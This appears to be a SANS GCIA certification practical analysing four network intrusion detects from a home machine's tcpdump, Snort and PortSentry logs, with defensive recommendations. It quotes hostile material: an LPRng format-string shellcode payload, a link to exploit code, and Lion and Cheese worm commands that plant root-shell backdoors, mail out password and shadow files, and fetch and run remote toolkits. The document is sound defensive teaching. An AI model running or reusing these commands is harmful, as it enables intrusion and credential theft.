GCIA Certification Practical

Prepared by:

Doug Harold

SANS Lone Star
Version 2.8

This page intentionally left blank

Assignment 1- Network Detects

Detect 1 – RPCInfo

```
07:26:22.238185 0:30:7b:1f:2c:38 0:10:a4:bb:68:a3 0800 78: 192.203.200.155.998 > r0o5t4R.111: S
3314567347:3314567347(0) win 32120 <mss 1460,sackOK,timestamp 23579313 0,nop,wscale 0> (DF) (ttl
50, id 27562)

07:26:22.238325 0:10:a4:bb:68:a3 0:30:7b:1f:2c:38 0800 74: r0o5t4R.111 > 192.203.200.155.998: S
628862029:628862029(0) ack 3314567348 win 32120 <mss 1460,sackOK,timestamp 2759322
23579313,nop,wscale 0> (DF) (ttl 64, id 2074)

07:26:22.328324 0:30:7b:1f:2c:38 0:10:a4:bb:68:a3 0800 70: 192.203.200.155.998 > r0o5t4R.111: . ack 1
win 32120 <nop,nop,timestamp 23579322 2759322> (DF) (ttl 50, id 27580)

07:26:22.328832 0:30:7b:1f:2c:38 0:10:a4:bb:68:a3 0800 114: 192.203.200.155.998 > r0o5t4R.111: P
1:45(44) ack 1 win 32120 <nop,nop,timestamp 23579322 2759322> (DF) (ttl 50, id 27581)

07:26:22.328897 0:10:a4:bb:68:a3 0:30:7b:1f:2c:38 0800 66: r0o5t4R.111 > 192.203.200.155.998: . ack 45
win 32120 <nop,nop,timestamp 2759331 23579322> (DF) (ttl 64, id 2075)

07:26:24.237719 0:30:7b:1f:2c:38 0:10:a4:bb:68:a3 0800 70: 192.203.200.155.998 > r0o5t4R.111: F
45:45(0) ack 1 win 32120 <nop,nop,timestamp 23579513 2759331> (DF) (ttl 50, id 27787)

07:26:24.237812 0:10:a4:bb:68:a3 0:30:7b:1f:2c:38 0800 66: r0o5t4R.111 > 192.203.200.155.998: . ack 46
win 32120 <nop,nop,timestamp 2759522 23579513> (DF) (ttl 64, id 2076)

07:26:24.573128 0:10:a4:bb:68:a3 0:30:7b:1f:2c:38 0800 66: r0o5t4R.111 > 192.203.200.155.998: F 1:1(0)
ack 46 win 32120 <nop,nop,timestamp 2759555 23579513> (DF) (ttl 64, id 2077)

07:26:24.663460 0:30:7b:1f:2c:38 0:10:a4:bb:68:a3 0800 70: 192.203.200.155.998 > r0o5t4R.111: . ack 2
win 32120 <nop,nop,timestamp 23579555 2759555> (DF) (ttl 50, id 27861)
```

1. Source of Trace

The source of the trace is from my home machine r0o5t4R. The operating system is Red Hat 6.1. It is set up with tcpdump 3.4. As well, I am running PortSentry and DTK (Deception Tool Kit). It is connected to the net through a cable modem.

2. Detect was generated by:

This trace was originally detected by Snort IDS 1.6.3 with the following rule:
alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC Info Query"; content:"|00 01 86 A0 00 00 00 02 00 00 00 04|";)

All of the corresponding traffic with respect to this ip was then taken from the tcpdump log file.

3. Probability the source address was spoofed:

There is a three-way handshake that takes place followed by a push of data. It is very unlikely that this attack is being spoofed.

4. Description of attack:

This appears to be an automated tool that is scanning the net looking for machines that respond to the initial SYN packet on port 111. As mentioned above, the machine in question, r0o5t4R, has been configured with Deception Tool Kit. Normally, there would be no response back to the initial SYN packet. The source port of 998 is interesting as it tells us that the Attacker must have super user privileges in order to bind to a reserved port (1-1023). The Attacker is trying to gather intelligence on machines that he/she can later use to exploit well-known vulnerabilities.

In this case the Attacker sends the SYN packet looking for port 111. A SYN-ACK is returned, indicating that portmapper is listening on port 111. The next packet is a Push-ACK in which the Attacker is looking for rpcinfo data. I had just recently set-up my home machine with DTK. Therefore the request for rpcinfo information is met with only a return ACK. The Attacker then closes the connection.

5. Attack mechanism:

This is a reconnaissance probe. Remote Procedure Call programs use ephemeral ports. There needs to be a way for other systems to find where they reside. This service is called portmapper and it resides on UDP port 111 and TCP port 111. The portmapper maintains a directory of available RPC services on a system. It allows a service to map to a particular RPC program. ‘rpcinfo’ asks the portmapper to dump a list of all currently registered programs including their protocol.

Here is an example of the type of “useful” information that can be gathered by this type of probe:

```
$ rpcinfo –p MY.NET.20.53
   program vers proto   port
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100001    1   udp    884  rstatd
    100001    2   udp    884  rstatd
    100001    3   udp    884  rstatd
    100002    1   udp    835  rusersd
    100002    2   udp    835  rusersd
    100002    3   udp    835  rusersd
```

There are numerous root level exploits associated with many RPC server programs. Examples are the rpc.statd, mountd. Tooltalk, and rpc.cmsd vulnerabilities.
http://www.kb.cert.org/vuls/id/34043
www.cert.org/advisories/CA-2000-17.html
http://www.redhat.com/support/errata/RHSA-2000-043-03.html
http://www.cert.org/advisories/CA-1998-12.html
http://www.cert.org/advisories/CA-98.11.tooltalk.html
http://www.cert.org/advisories/CA-99-08-cmsd.html

6. Correlations:
My Snort logs contained the following:

```
[**] RPC Info Query [**]
04/02-07:26:22.328832 0:30:7B:1F:2C:38 -> 0:10:A4:BB:68:A3 type:0x800 len:0x72
192.203.200.155:998 -> r0o5t4R:111 TCP TTL:50 TOS:0x0 ID:27581  DF
*****PA* Seq: 0xC59048B4   Ack: 0x257BAC4E   Win: 0x7D78
TCP Options => NOP NOP TS: 23579322 2759322
80 00 00 28 39 10 56 63 00 00 00 00 00 00 00 02  ...(9.Vc........
00 01 86 A0 00 00 00 02 00 00 00 04 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 60 EB D5 21  ............`..!
```

A quick look-up of the IP address revealed the following:

IP Address: 192.203.200.115
HostName: pc5.cmps.subr.edu
Whois: Southern University (NET-SUBR4-NET)

Southern University
Computer Science Department
Baton Rouge, LA 70813
US

Netname: SUBR4-NET
Netblock: 192.203.200.0 - 192.203.200.255

Common Vulnerabilities and Exposure (CVE) Listing:

There are 26 listings of rpc related security vulnerabilities within CVE. The following 5 are specifically related to gaining root access through buffer overflows.

Name	Description
CVE-1999-0003	Execute commands as root via buffer overflow in Tooltalk database server (rpc.ttdbserverd)
CVE-1999-0320	SunOS rpc.cmsd allows attackers to obtain root access by overwriting arbitrary files.
CVE-1999-0353	rpc.pcnfsd in HP gives remote root access by changing the permissions on the main printer spool directory.
CVE-1999-0974	Buffer overflow in Solaris snoop allows remote attackers to gain root privileges via GETQUOTA requests to the rpc.rquotad service.
CAN-2000-0800	** CANDIDATE (under review) ** String parsing error in rpc.kstatd in the linuxnfs or knfsd packages in SuSE and possibly other Linux systems allows remote attackers to gain root privileges.

7. Evidence of active targeting:

This initial SYN packet appears to be an automated tool that is scanning for this particular type of service. Upon receipt of the corresponding SYN-ACK packet, my machine was then actively targeted for information gathering purposes.

8. Severity:

Criticality: The target is not critical (my home machine) 2.
Lethality: The attack was not effective 1.
System Countermeasures: The system is patched regularly and has PortSentry installed. 5
Network Countermeasures: There were no Network countermeasures running except for Tcpdump . 1
(Criticality + Lethality) – (System Countermeasures + Network Countermeasures) = Severity
(2 + 1) – (5 + 1) = -3

9. Defensive recommendations:
Do not permit outside network access to RPC services.
Install and maintain all security fixes in a timely manner.

10. Multiple choice questions:

```
07:26:22.238185 192.203.200.155.998 > MY.NET.11.85.111: S 3314567347:3314567347(0) win 32120
<mss 1460,sackOK,timestamp 23579313 0,nop,wscale 0> (DF) (ttl 50, id 27562)
```

What service is this packet trying to access:

a) DNS
b) busboy
c) ftp
d) portmapper

Answer D – portmapper operates on both TCP and UDP port 111.

Detect 2 - LPRng Traffic

```
Feb  8 13:55:07 r0o5t4R portsentry[430]: attackalert: SYN/Normal scan
  from host: spc-kmoore.unl.edu/129.93.116.25 to TCP port: 515

Feb  8 13:55:07 r0o5t4R portsentry[430]: attackalert: Host
  129.93.116.25 has been blocked via wrappers with string:
  "ALL: 129.93.116.25"

Feb  8 13:55:07 r0o5t4R portsentry[430]: attackalert: Host
  129.93.116.25 has been blocked via dropped route using command:
  "/sbin/route add -host 129.93.116.25 gw 127.0.0.1"

Feb  8 13:55:08 r0o5t4R portsentry[430]: attackalert: SYN/Normal scan
  from host: spc-kmoore.unl.edu/129.93.116.25 to TCP port: 515

Feb  8 13:55:08 r0o5t4R portsentry[430]: attackalert: Host:
  spc-kmoore.unl.edu/129.93.116.25 is already blocked Ignoring
```

1. Source of Trace

This trace also comes from my home machine.

2. Detect was generated by:

This detect was generated by PortSentry. I run PortSentry in Advanced TCP and Advanced UDP modes.

Here is an excerpt from the Psionic Software website (http://www.psionic.com/abacus/portsentry)

> **Advanced Stealth Scan Detection Mode (Linux Only)**
>
> Mode Two is what is called "Inverse Port Binding." In this mode PortSentry will first check to see what ports you have running, it will then remove these ports from monitoring and will begin watching the remaining ports. This is very powerful and reacts exceedingly fast for port scanners. It also uses very little CPU time. Additionally, it incorporates an active state check, where protection is dropped for newly bound network ports. This prevents alarms on protocols such as FTP which often connect back to the client. Once the connection has been torn down, then PortSentry will again start monitoring that port!

3. Probability the source address was spoofed:

The probability that the source address was spoofed is low because the Attacker is looking for a response. In order for the Attacker to compromise this machine an ACK must be returned which would indicate that the this machine has port 515 open and possibly the LPRng service running. The Attacker would then focus in on this machine and launch his/her attack.

4. Description of attack:

This detect involves the "information gathering phase" of an attack. The Attacker is attempting to find any machines that may be vulnerable to this type of attack. If this machine were to have responded back with an ACK then an attack against the LPRng daemon (that utilizes port 515) would commence. These scans have become commonplace recently. There is a "format string vulnerability" in the LPRng software package that was shipped with earlier versions of Red Hat 7.0.

5. Attack mechanism:

LPRng has a "string format bug" within the use_syslog function. It is possible to corrupt the print daemon and gain root access to the computer. There is both a local and remote exploit available from sites such as packetstorm.securify.com.

Exploit code can be found here:

www.netcat.it/download/SEClpd.c

Sample syslog entries (http://www.securiteam.com/unixfocus/6V00M0A0KI.html) from successful exploitation of this vulnerability have been reported, as follows:

```
Nov 26 10:01:00 foo SERVER[12345]: Dispatch_input: bad request line
'BB{E8}{F3}{FF}{BF}{E9}{F3}{FF}{BF}{EA}{F3}{FF}{BF}{EB}{F3}{FF}{BF}
XXXXXXXXXXXXXXXXXX%.168u%300$nsecurity.%301 $nsecurity%302$n%.192u%303$n
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}
1{DB}1{C9}1{C0}{B0}F{CD}{80}{89}{E5}1{D2}{B2}f{89}{D0}1{C9}{89}{CB}C{89}
]{F8}C{89}]{F4}K{89}M{FC}{8D}M{F4}{CD}{80}1{C9}{89}E{F4}Cf{89}]{EC}f{C7}
E{EE}{F}'{89}M{F0}{8D}E{EC}{89}E{F8}{C6}E{FC}{10}{89}{D0}{8D}
M{F4}{CD}{80}{89}{D0}CC{CD}{80}{89}{D0}C{CD}{80}{89}{C3}1{C9}{B2}
?{89}{D0}{CD}{80}{89}{D0}A{CD}{80}{EB}{18}^{89}u{8}1{C0}{88}F{7}{89}
E{C}{B0}{B}{89}{F3}{8D}M{8}{8D}U{C}{CD}{80}{E8}{E3}{FF}{FF}{FF}/bin/sh{A}'
```

As can be seen from the correlation below, this appears to be an automated scan looking for machines that are listening on port 515.

6. Correlations:

Laurie@.edu posted this correlation on the SANS website.

http://www.sans.org/y2k/021401.htm

```
Feb  8 14:55:14 hostmau portsentry[155]: attackalert: Connect from host:
  spc-kmoore.unl.edu/129.93.116.25 to TCP port: 515
Feb  8 14:54:23 hostj snort[20978]: connect to 515 from outside:
  129.93.116.25:3300 -> z.y.w.66:515
```

```
Feb  8 14:54:23 hostm snort[10550]: connect to 515 from outside:
  129.93.116.25:3332 -> z.y.w.98:515
Feb  8 14:55:14 hostmau snort[93203]: connect to 515 from outside:
  129.93.116.25:4952 -> z.y.x.28:515
Feb  8 14:55:14 hostmau snort[93203]: connect to 515 from outside:
  129.93.116.25:4952 -> z.y.x.28:515
Feb  8 14:55:14 hostmau snort[93203]: connect to 515 from outside:
  129.93.116.25:4952 -> z.y.x.28:515
Feb  8 14:55:14 hostmau snort[93203]: connect to 515 from outside:
  129.93.116.25:4952 -> z.y.x.28:515
Feb  8 14:55:15 hostmau snort[93203]: connect to 515 from outside:
  129.93.116.25:1137 -> z.y.x.189:515
Feb  8 14:55:18 hostmau snort[93203]: connect to 515 from outside:
  129.93.116.25:1137 -> z.y.x.189:515
```

Red Hat Linux 7 Security Advisory: http://www.redhat.com/support/errata/RHSA-2000-065-06.html

CERT Advisory Number: **CA-2000-22** located at http://www.cert.org/advisories/CA-2000-22.html

CERT Vulnerability Note: **VU 382365** located at http://www.kb.cert.org/vuls/id/382365

A lookup of this IP revealed the following:

IP Address: 129.93.116.25
HostName: spc-kmoore.unl.edu
Whois: University of Nebraska-Lincoln (NET-HUSKERNET)
Information Services
29 WSEC
Lincoln NE 68588-0657
US

Netname: HUSKERNET
Netblock: 129.93.0.0 - 129.93.255.255

Common Vulnerabilities and Exposure (CVE) Listing:

CVE Name CAN-2000-0917

7. Evidence of active targeting:
The evidence of active targeting is low. This appears to be a scan looking for a particular type of program that runs on a specific port, in this case the LPRng program running on port 515 service.

8. Severity:

Criticality: The target is not critical (my home machine) 2.
Lethality: Root access could have been obtained but the attack was ineffective 2.
System Countermeasures: The system was blocking this port using wrappers and PortSentry. 5
Network Countermeasures: There were no Network countermeasures running except for Tcpdump . 1
(Criticality + Lethality) – (System Countermeasures + Network Countermeasures) = Severity
(2 + 2) – (5 + 1) = -2

9. Defensive recommendations:

The LPRng service should be turned off unless it is absolutely needed. In which case it is suggested that you upgrade the existing version with the corresponding patch (see vendor site) or obtain a non-vulnerable version of LPRng from:

ftp://ftp.astart.com/pub/LPRng/LPRng/LPRng-3.6.25.tgz.

On August 8, 2000 SANS published a document called "Top Ten Blocking Recommendations Using ipchains". (http://www.sans.org/infosecFAQ/firewall/blocking_ipchains.htm) This an excellent tutorial on how to set up ipchains to deny access to certain services…including port 515! As well, port 515 should be blocked at the external firewall. This will stop any external users from attempting this exploit.

10. Multiple choice question:

```
Feb  8 13:55:07 r0o5t4R portsentry[430]: attackalert: SYN/Normal scan
 from host: spc-kmoore.unl.edu/129.93.116.25 to TCP port: 515
```

Which of the following best describes the this PortSentry log entry:

A. An attempt has been made to access the port 515 on the computer spc-kmoore.unl.edu
B. An attempt has been made to access utmpsd (port 430) on the computer r0o5t4R
C. An attempt has been made to access port 515 on the computer r0o5t4R
D. None of the above

Answer C – 129.93.116.25 has sent a SYN packet to port 515 on computer r0o5t4R.

Detect 3 – SYN/FIN Scan

tcpdump Log

```
07:37:21.343521 210.97.122.129.53 > r0o5t4R.53: SF 999953940:999953940(0) win 1028
                              4500 0028 9a02 0000 1706 112a d261 7a81
                              186c 9355 0035 0035 3b9a 1614 3eea 94fa
                              5003 0404 8d3c 0000 0000 72fc 6a65 e898
                              6f68
```

Snort Log

```
[**] SCAN-SYN FIN [**]
03/28-07:37:21.343521 0:30:7B:1F:2C:38 -> 0:10:A4:BB:68:A3 type:0x800 len:0x40
210.97.122.129:53 -> r0o5t4R:53 TCP TTL:23 TOS:0x0 ID:39426
**SF**** Seq: 0x3B9A1614   Ack: 0x3EEA94FA   Win: 0x404
00 00 72 FC 6A 65 E8 98 6F 68              ..r.je..oh
```

…

And they are back...

tcpdump Log

```
17:39:48.528817 210.97.122.129.8307 > r0o5t4R.53: S 1092680054:1092680054(0) win 512 <mss 1460>
                              4500 002c 36d9 0000 2d06 5e4f d261 7a81
                              186c 9355 2073 0035 4120 f976 0000 0000
                              6002 0200 4243 0000 0204 05b4 3224 5f31
                              f208
```

Snort Log

```
03/28-17:39:48.528817 0:30:7B:1F:2C:38 -> 0:10:A4:BB:68:A3 type:0x800 len:0x40
210.97.122.129:8307 -> r0o5t4R:53 TCP TTL:45 TOS:0x0 ID:14041
**S***** Seq: 0x4120F976   Ack: 0x0   Win: 0x200
TCP Options => MSS: 1460
32 24 5F 31 F2 08                   2$_1..
```

1. Source of Trace

This detect was taken from my home machine r0o5t4R.

2. Detect was generated by:

This trace was generated by Snort 1.6.3 IDS system with the following Signature:

```
alert TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS198/SYN FIN Scan"; flags: SF;)
```

3. Probability the source address was spoofed:

The probability that the source address was spoofed is extremely low because the Attacker is probing the computer and is looking for a response.

4. Description of attack:

This attack is searching for DNS servers that might be running a vulnerable version of BIND.

5. Attack mechanism:

Packet #1
Both the SYN flag and the FIN flag have been set…this would never occur naturally.
The initial packet contains a source port of 53. It is an attempt to fool older packetfilters or those that have not been configured properly. As well, IP ID of 39426 is another tell-tale sign that this is a particular scanning tool.that has been around for a while. A quick search of the SANS website revealed numerous scans that match this criteria. Teri Bidwell wrote an excellent article on this particular type of scan.
http://www.sans.org/current.templ.htm

The Attacker is looking to see if this machine is running DNS.

Packet #2
The fact that this individual came back for round two caused some concern. Notice that the source port that the Attacker is now using appears to be legitimate (ephemeral) and only the SYN flag is set. Pay particular attention to the TTL. A 22 hop difference is significant because it highlights the fact that the initial packet was crafted.

An NMAP scan of the Attacker yielded the following:

```
bash# nmap -sF -P0 -O 210.97.122.129

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on  (210.97.122.129):
(The 1504 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
23/tcp     open        telnet
24/tcp     open        priv-mail
37/tcp     open        time
53/tcp     open        domain
68/tcp     open        bootpc
70/tcp     open        gopher
80/tcp     open        http
110/tcp    open        pop-3
111/tcp    open        sunrpc
119/tcp    open        nntp
137/tcp    open        netbios-ns
138/tcp    open        netbios-dgm
220/tcp    open        imap3
```

```
443/tcp    open       https
520/tcp    open       efs
979/tcp    open       unknown
1080/tcp   open        socks
6000/tcp   open        X11

TCP Sequence Prediction: Class=truly random
                         Difficulty=9999999 (Good luck!)
Remote operating system guess: Linux 2.0.35-38
```

This does not simply appear to be a “straight out of the box” install of linux. Http, https, priv-mail, and socks daemons have been started. Port 979 is open and listening. I could not find any legitimate uses for this port. The only reference I could find of this port is from the SANS site. (http://www.sans.org/y2k/013000-1200.htm)

Jan 26 01:20:29 cybernet portsentry[18767]: attackalert: SYN/Normal
scan from host: adsl-77-244-119.mia.bellsouth.net/216.77.244.119 to TCP port: 979

At first glance this appears to be a scan for very “diverse” port list. It is possible that a backdoor may have been opened on port 979.

All of this evidence points to the fact that this box (210.97.122.129) has been previously compromised and is being used to scan for additional boxes to attack.

6. Correlations:

Here is some correlation from PortSentry log.

Mar 28 07:37:21 r0o5t4R portsentry[448]: attackalert: Unknown Type: Packet Flags: SYN: 1 FIN: 1 ACK: 0 PSH: 0 URG: 0 RST: 0 from host: 210.97.122.129/210.97.122.129 to TCP port: 53

Mar 28 07:37:21 r0o5t4R portsentry[448]: attackalert: Host 210.97.122.129 has been blocked via wrappers with string: "ALL: 210.97.122.129"

Mar 28 07:37:21 r0o5t4R portsentry[448]: attackalert: Host 210.97.122.129 has been blocked via dropped route using command: "/sbin/route add -host 210.97.122.129 gw 127.0.0.1"

I was able to find another interesting correlation:

http://jackal.livejournal.com/day/2001/03/31

Saturday, March 31st, 2001

Time	Event
2:58p	… 1 denied tries, 64.92.132.5 tried to connect to localhost:21 1 denied tries, 210.97.122.129 tried to connect to localhost:53 1 denied tries, 64.77.62.8 tried to connect to localhost:111

A lookup of the IP address revealed the following:

```
% Rights restricted by copyright. See http://www.apnic.net/db/dbcopyright.html


inetnum:    210.96.0.0 - 210.97.191.255
netname:     KRNIC-KR-14
descr:       National Computerization Agency
descr:       Korea Network Information Center
country:     KR
```

7. Evidence of active targeting:
The evidence of active targeting is initially low. We first see the Attacker doing a SYN/FIN scan on numerous machines. However, then we see him/her return looking for vulnerabilities.

8. Severity:

Criticality: The target is not critical (my home machine) 2.
Lethality: The machine is not a DNS therefore is not vulnerable 1.
System Countermeasures: The system is patched regularly and is running PortSentry. 5
Network Countermeasures: There were no Network countermeasures running except for Tcpdump. 1
(Criticality + Lethality) – (System Countermeasures + Network Countermeasures) = Severity
(2 + 1) – (5 + 1) = -3

9. Defensive recommendations:
As with most services the following rule applies: If you don't need it, shut it down! If you need to run a DNS make sure the server has the latest version of BIND. This can be obtained from http://www.isc.org/products/BIND /. You should block incoming TCP connections to port 53. Zone transfers from the outside will provide a wealth of information to Attackers.

10. Multiple choice question:

```
07:37:21.343521 210.97.122.129.53 > r0o5t4R.53: SF 999953940:999953940(0) win 1028
```

Which statement best describes this tcpdump log?

a) Normal DNS Traffic
b) Zone Transfer
c) UDP SYN/FIN Scan
d) Scan for machines running DNS

Answer **D** – This is certainly not normal traffic. Although Zone Transfers occur using TCP port 53 it will not be in conjunction with the SYN and FIN flags being set. Finally, the fact that any flags are set discounts the possibility that this packet is udp traffic.

Detect 4 – ports 1008 & 10008

tcpdump Log

```
01:48:29.169697 24.132.83.152.8697 > r0o5t4R.1008: S 24536971:24536971(0) win 305 (ttl 150, id 2266)
                              4500 0028 08da 0000 9606 0419 1884 5398
                              186c 9355 21f9 03f0 0176 678b 0000 0000
                              5002 0131 07ea 0000 0000 cb04 444c e898
                              6f68


01:48:42.745448 24.132.83.152.51775 > r0o5t4R.10008: S 18069359:18069359(0) win 1394 (ttl 169, id
2868)
                              4500 0028 0b34 0000 a906 eebe 1884 5398
                              186c 9355 ca3f 2718 0113 b76f 0000 0000
                              5002 0572 e8b8 0000 0000 e36e c7a8 e898
                              6f68
```

Snort Log

```
04/02-01:48:29.169697 0:30:7B:1F:2C:38 -> 0:10:A4:BB:68:A3 type:0x800 len:0x40
24.132.83.152:8697 -> r0o5t4R:1008 TCP TTL:150 TOS:0x0 ID:2266
**S***** Seq: 0x176678B   Ack: 0x0   Win: 0x131
00 00 CB 04 44 4C E8 98 6F 68                 ....DL..oh

04/02-01:48:42.745448 0:30:7B:1F:2C:38 -> 0:10:A4:BB:68:A3 type:0x800 len:0x40
24.132.83.152:51775 -> r0o5t4R:10008 TCP TTL:169 TOS:0x0 ID:2868
**S***** Seq: 0x113B76F   Ack: 0x0   Win: 0x572
00 00 E3 6E C7 A8 E8 98 6F 68                 ...n....oh
```

1. Source of Trace
The Source of the Trace was my home machine r0o5t4R.

2. Detect was generated by:

This detect was generated by an alert from PortSentry. The trace, shown above, comes from a search of the tcpdump and Snort log files for that IP.

3. Probability the source address was spoofed:

This Attacker is searching for targets that respond to the scan. Therefore, the probability that the packet is spoofed is extremely low.

4. Description of attack:

This appears to be a scan looking for a particular service that is running on port 1008 and 10008. There are some interesting points to be made about these two packets. Approx 14 seconds elapse between packets and yet a great deal has changed. The source port jumps from 8697 to 51775. The window size increases as well, from 305 to 1394 bytes which is interesting however, not necessarily anomalous. The TTL changes from 150 to 169. Although the TTL value does not necessarily have to remain the same, one would expect given the short timeframe that it would not change this much.

5. Attack Mechanism:

This attack appears to be a scan looking for backdoors that may have been created by variants of the Lion Worm. This worm steals passwords, installs backdoors and hides various hacking tools on infected systems and then uses compromised hosts to scan for other servers to attack.

The following table illustrates the commands used in the BIND exploit by each version of the worm.

Commands sent by each Lion worm using BIND exploit (differences marked in red)	

Lion.v1	PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';
	export PATH;
	export TERM=vt100;
	rm -rf /dev/.lib;
	mkdir /dev/.lib;
	cd /dev/.lib;
	echo '1008 stream tcp nowait root /bin/sh sh'
	>>/etc/inetd.conf;
	killall -HUP inetd;
	ifconfig -a>1i0n;
	cat /etc/passwd >>1i0n;
	cat /etc/shadow >>1i0n;
	mail 1i0nip@china.com <1i0n;
	rm -fr 1i0n;
	rm -fr /.bash_history;
	lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz;
	tar -zxvf 1i0n.tgz;
	rm -fr 1i0n.tgz;
	cd lib;
	./1i0n.sh;
	exit;

Lion.v2	PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';
	export PATH;
	export TERM=vt100;
	rm -rf /dev/.lib;
	mkdir /dev/.lib;
	cd /dev/.lib;
	echo '1008 stream tcp nowait root /bin/sh sh'
	>>/etc/inetd.conf;
	killall -HUP inetd;
	ifconfig -a>1i0n;
	cat /etc/passwd >>1i0n;
	cat /etc/shadow >>1i0n;
	mail 1i0nip@china.com <1i0n;
	rm -fr 1i0n;
	rm -fr /.bash_history;
	echo >/var/log/messages;
	echo >/var/log/maillog;
	lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz;
	tar -zxvf 1i0n.tgz;
	rm -fr 1i0n.tgz;
	cd lib;
	./1i0n.sh;
	exit

Lion.v3

```
PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';
export PATH;
export TERM=vt100;
rm -rf /dev/.lib;
mkdir /dev/.lib;
cd /dev/.lib;
echo '10008 stream tcp nowait root /bin/sh sh'
>>/etc/inetd.conf;
killall -HUP inetd;
ifconfig -a>1i0n;
cat /etc/passwd >>1i0n;
cat /etc/shadow >>1i0n;
mail huckit@china.com <1i0n;
rm -fr 1i0n;
rm -fr /.bash_history;
echo >/var/log/messages;
rm -rf /var/log/maillog;
echo 'Powered by H.U.C(c0011i0n).-----1i0n Crew'
>index.html;
echo '#!/bin/sh' > lion;
echo 'nohup find / -name "index.html" -exec /bin/cp
index.html {} \;'>>lion;
echo 'tar -xf 1i0n.tar'>>lion;
echo './1i0n.sh' >>lion;
echo >>lion;
echo >>lion;
chmod 755 lion;
TERM='linux'
export PATH='/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin'
lynx -source http://PREVIOUS-HOST-IP:27374 > 1i0n.tar;
./lion
```

From: http://www.whitehats.com/library/worms/lion/index.html

Notice in the highlighted sections that the worm has changed from v2 to v3. Instead of opening a shell on tcp port 1008 it now opens tcp port 10008. Once these doors have been opened the Attacker has an unauthenticated way of entering your machine with root level access.

I read an interesting article on 17 May 2001 about a new worm, called Cheese, that is propagating the Internet. This worm scans for port 10008, looking for machines that have already been compromised with Lion v3. After locating these targets it sends the following commands to the victim host on TCP port 10008.

```
export TERM=vt100 ;
export
PATH=\"/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sb
in\" ;
export HISTFILE=/dev/null ;
mkdir /tmp/.cheese ;
touch -r /bin/sh /tmp/.cheese ;
cd /tmp/.cheese ;
lynx -source http://$li:$rp/ >cheese.uue ;
uudecode cheese.uue ;
tar zxvf cheese.tgz ;
rm -f cheese.tgz ;
```

```
        touch -r /bin/sh * ;
        chmod 755 * ;
        ./go $mhih ;
        exit ;
```

This will install and execute the cheese worm on the target machine. It then reads the /etc/inetd.conf file and rewrites it excluding any lines that have opened backdoors with the string /bin/sh. Inetd is restarted and the scanning begins.

I think that this is a dangerous precedence to be setting. Gaining access to a machine without the owners consent, for whatever purposes, is still an attack and should be treated as such. It cannot and should not be justified. It is akin to a person walking down your street… searching for any possible way to enter your house…entering… closing and locking all of the doors and windows… then leaving and moving on to your neighbor. That individual would be arrested and sent to jail for break and enter and trespassing. The same should apply on the Internet. – (just my two cents worth☺)

Most of the information about the cheese worm has come from the CERT Coordination Center :
http://www.cert.org/incident_notes/IN-2001-05.html

6. Correlations:

From: Lance Spitzner [mailto:lance@honeynet.org]
Sent: Tuesday, May 15, 2001 9:39 AM
To: Henri J. Schlereth
Cc: incidents@securityfocus.com
Subject: Re: Syn probes at port 100008

On Tue, 15 May 2001, Henri J. Schlereth wrote:

> *I am starting to see syn probes on port 10008. I cant seem to find*
> *any references as to what uses that port. I know I am not.*
>
> *05-14-2001 Mo 11:47:54 209.205.30.10 10008*
> *05-14-2001 Mo 14:11:25 210.206.177.138 10008*
> *05-14-2001 Mo 19:46:48 211.21.142.65 10008*
> *05-15-2001 Tu 00:26:48 194.102.188.134 10008*

Our Honeynet recently picked up these scans. Below is the snort capture.
Based on passive OS fingerprinting, it appears the source system is Linux.
We received port 10008 scans from three different systems, all source
signatures were the same. This implies the scan may be for Unix based vulnerabilities
or backdoor.

lance

There are numerous references to ports 1008 and 10008 on the SANS website.
http://www.sans.org/y2k/032801.htm
http://www.sans.org/y2k/033001.htm
http://www.sans.org/y2k/033001-1400.htm
http://www.sans.org/y2k/041301.htm

"Trolling for backdoors"

```
Apr 27 11:50:34 202.98.123.126:4520 -> X.X.X.X:1008 SYN ******S*
Apr 27 11:50:34 202.98.123.126:4529 -> X.X.X.X:1524 SYN ******S*
Apr 27 11:50:35 202.98.123.126:4540 -> X.X.X.X:2400 SYN ******S*
Apr 27 11:50:35 202.98.123.126:4547 -> X.X.X.X:3879 SYN ******S*
Apr 27 11:50:35 202.98.123.126:4558 -> X.X.X.X:5300 SYN ******S*
Apr 27 11:50:36 202.98.123.126:4565 -> X.X.X.X:6635 SYN ******S*
Apr 27 11:50:36 202.98.123.126:4579 -> X.X.X.X:6723 SYN ******S*
Apr 27 11:50:37 202.98.123.126:4590 -> X.X.X.X:8282 SYN ******S*
Apr 27 11:50:37 202.98.123.126:4597 -> X.X.X.X:9112 SYN ******S*
